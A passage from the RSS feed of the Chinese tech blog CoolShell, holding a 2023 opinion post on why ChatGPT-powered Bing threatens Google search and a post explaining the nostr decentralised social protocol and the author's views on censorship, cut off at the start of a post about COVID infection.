/></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li><li ><a href=\"https://coolshell.cn/articles/10476.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/huarong-150x150.png\" alt=\"C++11的Lambda使用一例：华容道求解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10476.html\" class=\"wp_rp_title\">C++11的Lambda使用一例：华容道求解</a></li><li ><a href=\"https://coolshell.cn/articles/4601.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"关于Amazon云宕机的网贴收集\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4601.html\" class=\"wp_rp_title\">关于Amazon云宕机的网贴收集</a></li><li ><a href=\"https://coolshell.cn/articles/11.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"PHP v5.3的新鲜玩意\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11.html\" class=\"wp_rp_title\">PHP v5.3的新鲜玩意</a></li><li ><a href=\"https://coolshell.cn/articles/1928.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"如何使用Python操作摄像头\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1928.html\" class=\"wp_rp_title\">如何使用Python操作摄像头</a></li><li ><a href=\"https://coolshell.cn/articles/3277.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"超强的验证码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3277.html\" class=\"wp_rp_title\">超强的验证码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22422.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>155</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我看ChatGPT: 为啥谷歌掉了千亿美金</title>\n\t\t<link>https://coolshell.cn/articles/22398.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22398.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 11 Feb 2023 16:31:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[ChatGPT]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22398</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>两个月前，我试着想用 ChatGPT 帮我写篇文章《eBPF 介绍》，结果错误百出，导致我又要从头改一遍，从那天我觉得 ChatGPT 生成的内容完全不靠谱，所...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22398.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-22405\" src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-300x200.jpg 300w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-768x511.jpg 768w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-406x270.jpg 406w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.jpg 900w\" sizes=\"(max-width: 300px) 100vw, 300px\" />两个月前，我试着想用 ChatGPT 帮我写篇文章《<a title=\"eBPF 介绍\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a>》，结果错误百出，导致我又要从头改一遍，从那天我觉得 ChatGPT 生成的内容完全不靠谱，所以，从那天开始我说我不会再用 ChatGPT 来写文章（这篇文章不是由 ChatGPT 生成），因为，在试过一段时间后，我对 ChatGTP 有基于如下的认识：</p>\n<ol>\n<li><strong>ChatGPT 不是基于事实，是基于语言模型的</strong>，事实对他来说不重要，对他重要的是他能读懂你的问题，并按照一定的套路回答你的问题。</li>\n<li><strong>因为是基于套路的回答，所以，他并不能保证内容是对的，他的目标是找到漂亮的精彩的套路</strong>，于是，你会发现，他的内容组织能力和表述还不错，但是只要你认真玩上一段时间，你会发现，ChatGPT 那些表述的套路其实也比较平常一般。它的很多回答其实都不深，只能在表面上。就像 Github 的 Copilot 一样，写不了什么高级的代码，只能帮你写一些常规格式化的代码（当然，这也够了）</li>\n</ol>\n<figure id=\"attachment_22417\" aria-describedby=\"caption-attachment-22417\" style=\"width: 640px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22417 size-large\" src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-1024x853.jpg\" alt=\"\" width=\"640\" height=\"533\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-1024x853.jpg 1024w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-300x250.jpg 300w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-768x640.jpg 768w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-324x270.jpg 324w, https://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example.jpg 1220w\" sizes=\"(max-width: 640px) 100vw, 640px\" /><figcaption id=\"caption-attachment-22417\" class=\"wp-caption-text\">ChatGPT 就是一个语言模型，如果不给他足够的数据和信息，它基本就是在胡编乱造</figcaption></figure>\n<p>所以，基于上面这两个点认识，以发展的眼光来看问题，我觉得 ChatGPT 这类的 AI 可以成为一个小助理，他的确可以干掉那些初级的脑力工作者，但是，还干不掉专业的人士，这个我估计未来也很难，不过，这也很帅了，因为大量普通的工作的确也很让人费时间和精力，<strong>但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的，没有这个前提条件的话，那就什么用也没有了</strong>。</p>\n<p>今天，我想从另外一个角度来谈谈 ChatGPT，尤其是我在Youtube上看完了微软的发布会《<a href=\"https://youtu.be/rOeRWRJ16yY\" target=\"_blank\" rel=\"noopener\">Introducing your copilot for the web: AI-powered Bing and Microsoft Edge</a> 》，才真正意识到Google 的市值为什么会掉了1000亿美元，是的，<strong>谷歌的搜索引擎的霸主位置受到了前所未有的挑战</strong>……</p>\n<p><span id=\"more-22398\"></span></p>\n<p>我们先来分析一下搜索引擎解决了什么样的用户问题，在我看来搜索引擎解决了如下的问题：</p>\n<ul>\n<li><strong>知识或信息索引</strong>。查新闻，查股票，查历史，查文档，找答案……</li>\n<li><strong>找服务提供商</strong>。找卖东西的电商，找帮你修东西的服务，找软件……</li>\n<li><strong>信息的准确和可靠</strong>。搜索引擎的rank算法保证了最准确、最有用、最权威的信息出现在最前面……（作恶的百度不在此列）</li>\n</ul>\n<p>基本上就是上面这几个，搜索引擎在上面这几件事上作的很好，但是，还是有一些东西搜索引擎做的并不好，如：</p>\n<ul>\n<li><strong>搜索引擎是基于关键词的，不是基于语义的</strong>。所以，搜索引擎并不知道你的真实需求，因此，你会不可避免地要干下面的事，\n<ul>\n<li>你经常要不断地增加或调整不同的关键词来提高查询信息的准确度……</li>\n<li>你经常要在你查找的信息中进行二次或多次过滤和筛选……</li>\n</ul>\n</li>\n<li><strong>搜索引擎是只能呈现内容，无法解读内容</strong>。所以，你找到相关的链接后，你还要花大量的时间来阅读理解，经常性的你不可避免的要干下面的事：\n<ul>\n<li>打开一个链接，读到了一大半后，发现你要的内容不在其中，只能关掉再打开一个……</li>\n<li>你想要的内容是在的，但是太晦涩，看不懂，太费解，你要找小白友好的版本……</li>\n<li>你想要的内容不完整，你需要在很多个链接和网页上做拼图游戏……</li>\n<li>内容是无法结构化的展示的，你搜到的东西全都是碎片信息</li>\n</ul>\n</li>\n<li><strong>搜索引擎没有上下文关联，两次搜索是没有关系的</strong>。也就是说，人知道的越多，问题也就越多，所以，我们经常会面临下面的问题：\n<ul>\n<li>随着我了解的越多，我的信息搜索的会出现分支，这个分支只有我自己的管理，搜索引擎是不关心的，导致我每次都相当于从头开始……</li>\n<li>你做计划的时候，你需要从多个不同的搜索中获取你想要的东西，最终组合成你定制化的东西，比如做旅游计划……</li>\n</ul>\n</li>\n</ul>\n<p>好了，我们知道，<strong>ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的</strong>，只是其中的内容并不怎么可靠，那么，如果把搜索引擎里靠谱的内容交给 ChatGPT 呢？那么，这会是一个多么强大的搜索引擎啊，完全就是下一代的搜索引擎，上面的那些问题完全都可以解决了：</p>\n<ul>\n<li>你可以打一段话给搜索引擎，ChatGPT 是读得懂语义的。</li>\n<li>因为知道语义，于是在众多搜过结果中，他更知道哪些是你想要的内容。</li>\n<li>ChatGPT 可以帮你生成 <a href=\"https://en.wikipedia.org/wiki/TL;DR\" target=\"_blank\" rel=\"noopener\">TL;DR</a>，把长文中的要求总结出来形成更易读的短文</li>\n<li>ChatGPT 可以帮你整理内容，在多个网页中帮你整合和结构化内容</li>\n<li>ChatGPT 可以有上下文对话，你可以让他帮你不断通过更多的关键词搜索信息，并在同一个主题下生成、组织和优化内容</li>\n</ul>\n<p><strong>一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势，那么，ChatGPT 的能力就完全被释放出来了，所以，带 ChatGPT 的搜索引擎，就是真正的“如虎添翼”！</strong></p>\n<p>因此，微软的 Bing + ChatGPT，成为了 Google 有史以来最大的挑战者，我感觉——所有跟信息或是文字处理相关的软件应用和服务，都会因为 ChatGPT 而且全部重新洗一次牌的，这应该会是新一轮的技术革命……<strong>Copilot 一定会成为下一代软件和应用的标配！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/C_String-150x150.jpg\" alt=\"Google图片搜索下的的C String\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_title\">Google图片搜索下的的C String</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22398.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>聊聊 nostr 和 审查</title>\n\t\t<link>https://coolshell.cn/articles/22367.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22367.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Feb 2023 07:46:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[censorship]]></category>\n\t\t<category><![CDATA[network]]></category>\n\t\t<category><![CDATA[nostr]]></category>\n\t\t<category><![CDATA[social media]]></category>\n\t\t<category><![CDATA[Twitter]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22367</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这两天在网络上又有一个东西火了，Twitter 的创始人 @jack 新的社交 iOS App  Damus 上苹果商店（第二天就因为违反中国法律在中国区下架了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22367.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22367.html\">聊聊 nostr 和 审查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-22368\" src=\"https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png\" alt=\"\" width=\"300\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png 300w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-1024x512.png 1024w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-768x384.png 768w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-540x270.png 540w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1.png 1140w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这两天在网络上又有一个东西火了，Twitter 的创始人 <a href=\"https://twitter.com/jack\">@jack</a> 新的社交 iOS App  <a href=\"https://apps.apple.com/ca/app/damus/id1628663131\" target=\"_blank\" rel=\"noopener\">Damus</a> 上苹果商店（第二天就因为违反中国法律在中国区下架了），这个软件是一个去中心化的 Twitter，使用到的是 nostr &#8211; Notes and Other Stuff Transmitted by Relays 的协议（<a href=\"https://github.com/nostr-protocol/nostr\" target=\"_blank\" rel=\"noopener\">协议简介</a>，<a href=\"https://github.com/nostr-protocol/nips\" target=\"_blank\" rel=\"noopener\">协议细节</a>），协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品，如：<a href=\"https://mastodon.social/\" target=\"_blank\" rel=\"noopener\">Mastodon</a> 和 <a href=\"https://scuttlebutt.nz/\" target=\"_blank\" rel=\"noopener\">Secure Scuttlebutt</a> 。我顺着去看了一下这个协议，发现这个协议真是非常的简单，简单到几句话就可以讲清楚了。</p>\n<h4>通讯过程</h4>\n<ul>\n<li>这个协议中有两个东西，一个是 client，一个是 relay，client 就是用户社交的客户端，relay 就是转发服务器。</li>\n<li>用户不需要注册，用户只需要有一个密钥对（公钥+私钥）就好了，然后把要发的信息做签名，发给一组 relays</li>\n<li>然后你的 Follower 就可以从这些 relays 上订阅到你的信息。</li>\n</ul>\n<p><span id=\"more-22367\"></span></p>\n<h4>技术细节摘要</h4>\n<ul>\n<li>技术实现上，nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令\n<ul>\n<li>Client 到 Relay主要是下面这几个指令：\n<ul>\n<li><code>EVENT</code>。发出事件，可以扩展出很多很多的动作来，比如：发信息，删信息，迁移信息，建 Channel ……扩展性很好。</li>\n<li><code>REQ</code>。用于请求事件和订阅更新。收到<code>REQ</code>消息后，relay 会查询其内部数据库并返回与过滤器匹配的事件，然后存储该过滤器，并将其接收的所有未来事件再次发送到同一websocket，直到websocket关闭。</li>\n<li><code>CLOSE</code>。用于停止被 <code>REQ</code> 请求的订阅。</li>\n</ul>\n</li>\n<li>Relay 到 Client 主要是下面几个指令：\n<ul>\n<li><code>EVENT</code>。用于发送客户端请求的事件。</li>\n<li><code>NOTICE</code>。用于向客户端发送人类可读的错误消息或其他信息</li>\n</ul>\n</li>\n</ul>\n</li>\n<li>关于 <code>EVENT</code> 下面是几个常用的基本事件：\n<ul>\n<li><code>0</code>: <code>set_metadata</code>：比如，用户名，用户头像，用户简介等这样的信息。</li>\n<li><code>1</code>: <code>text_note</code>：用户要发的信息内容</li>\n<li><code>2</code>： <code>recommend_server</code>：用户想要推荐给关注者的Relay的URL（例如<code>wss://somerelay.com</code>）</li>\n</ul>\n</li>\n</ul>\n<h4>如何对抗网络审查</h4>\n<p>那么，这个协议是如何对抗网络审查的？</p>\n<ul>\n<li>识别你的身份是通过你的签名，所以，只要你的私钥还在，你是不会被删号的</li>\n<li>任何人都可以运行一个或多个relay，所以，就很难有人控制所有的relay</li>\n<li>你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上</li>\n<li>你的信息是一次发给多个relay的，所以，只要不是所有的热门realy封了你，你就可以发出信息</li>\n<li>每个relay的运营者都可以自己制定规则，会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。</li>\n<li>如果你被全部的relay封了，你还是可以自建你的relay，然后，你可以通过各种方式告诉你身边的人你的relay服务器是什么？这样，他们把这个relay服务器加到他们的client列表中，你又可以从社死中复活了。</li>\n</ul>\n<p>嗯，听起来很简单，整个网络是构建在一种 “社区式”的松散结构，完全可能会出现若干个 relay zone。这种架构就像是互联网的架构，没有中心化，比如 DNS服务器和Email服务器一样，只要你愿意，你完全可以发展出自己圈子里的“私服”。</p>\n<p>其实，电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候，我当时在北京，当时的卫生部部长说已经控制住了，才12个人感染，当局也在控制舆论和删除互联网上所有的真实信息。但是，大家都在用电子邮件传播信息，当时基本没有什么社交软件，大家分享信息都是通过邮件，尤其是外企工作的圈子，当时每天都要收很多的非典的群发邮件，大家还都是用公司的邮件服务器发……这种松散的，点对点的架构，让审查是基本不可能的。其实，<strong>我觉得 nostr 就是另外一个变种或是升级版的 email 的形式</strong>。</p>\n<h4>如何对抗Spam和骗子</h4>\n<p>但是问题来了，如果不能删号封人的话，那么如何对抗那些制造Spam，骗子或是反人类的信息呢？nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你，如果给他发私信，需要支付一点点btc ，或是relay要求你给btc才给你发信息（注：我不认为这是一个好的方法，因为：1）因为少数的坏人让大多数正常人也要跟着付出成本，这是个糟糕的治理方式，2）不鼓励那些生产内容的人，那么平台就没有任何价值了）。</p>\n<p>不过，我觉得也有可以有下面的这些思路：</p>\n<ul>\n<li>用户主动拉黑，但很明显这个效率不高，而且体验不好</li>\n<li>社区或是同盟维护一个黑名单，relay定期更新（如同email中防垃圾邮件也是这样搞的），这其实也是审查。</li>\n<li>防Spam的算法过滤垃圾信息（如同email中干的），自动化审查。</li>\n<li>增加发Spam的成本，如: PoW 工作量证明（比特币的挖矿，最早也是用于Email），发信息要花钱（这个对正常用户伤害太大了）等。</li>\n<li>……</li>\n</ul>\n<p>总之，还是有相应的方法的，但是一定没有完美解，email对抗了这么多年，你还是可以收到大量的垃圾邮件和钓鱼邮件，所以，我觉得 nostr 也不可能做到……</p>\n<h4>怎么理解审查</h4>\n<p>最后，我们要明白的是，<strong>无论你用什么方法，审查是肯定需要的，所以，我觉得要完全干掉审查，最终的结果就是一个到处都垃圾内容的地方！</strong></p>\n<p><strong>我理解的审查不应该是为权力或是个体服务的，而是为大众和人民服务的，所以，审查必然是要有一个开放和共同决策的流程，而不是独断的</strong>。</p>\n<p>这点可以参考开源软件基金会的运作模式。</p>\n<ul>\n<li>最底端的是用户（User）参与开源社区的使用并提供问题和反馈。</li>\n<li>用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者（Contributors），</li>\n<li>当贡献者提交一定数量贡献之后就可以晋升为提交者（Committers），此时你将拥有你参与仓库的代码读写权限。</li>\n<li>当提交者Committers在社区得到认可后，由项目管理委员会（PMC）选举并产生PMC成员（类似于议员），PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。</li>\n</ul>\n<p>注意下面几点</p>\n<ul>\n<li>整个社区的决策者，是要通过自己贡献来挣到被选举权的。</li>\n<li>社区所有的工作和决定都是要公开的。</li>\n<li>社区的方向和决策都是要投票的，PMC成员有binding的票权，大众也有non-binding的投票权供参考。</li>\n<li><strong>如果出现了价值观的不同，那么，直接分裂社区就好了，不同价值观的人加入到不同的社区就好了</strong>。</li>\n</ul>\n<p>如果审查是在这个框架下运作的话，虽然不完美，但至少会在一种公允的基础下运作，是透明公开的，也是集体决策的。</p>\n<p>开源软件社区是一个很成功的示范，所以，我觉得只有技术而没有一个良性的可持续运作的社区，是不可能解决问题的，<strong>干净整齐的环境是一定要有人打扫和整理的</strong>。</p>\n<p>&nbsp;</p>\n<figure id=\"attachment_22371\" aria-describedby=\"caption-attachment-22371\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22371 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-300x289.jpg\" alt=\"欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu\" width=\"300\" height=\"289\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-300x289.jpg 300w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-1024x987.jpg 1024w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-768x740.jpg 768w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-280x270.jpg 280w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533.jpg 1242w\" sizes=\"(max-width: 300px) 100vw, 300px\" /><figcaption id=\"caption-attachment-22371\" class=\"wp-caption-text\">欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"国内微博和Twitter的最大不同\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_title\">国内微博和Twitter的最大不同</a></li><li ><a href=\"https://coolshell.cn/articles/25.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"如何上网觅无踪\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/25.html\" class=\"wp_rp_title\">如何上网觅无踪</a></li><li ><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-150x150.png\" alt=\"Git显示漂亮日志的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_title\">Git显示漂亮日志的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22367.html\">聊聊 nostr 和 审查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22367.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>感染新冠的经历</title>\n\t\t<link>https://coolshell.cn/articles/22341.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22341.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Dec 2022 07:39:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[covid19]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22341</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>写一篇与技术无关的文章，供大家参考。我住北京朝阳，从上周三开始我家一家三口陆续发烧生病，自测抗原后，都是阳性。好消息是，这个奥密克戎跟一般的病毒性感冒差不多，没...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22341.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22341.html\">感染新冠的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-22346\" 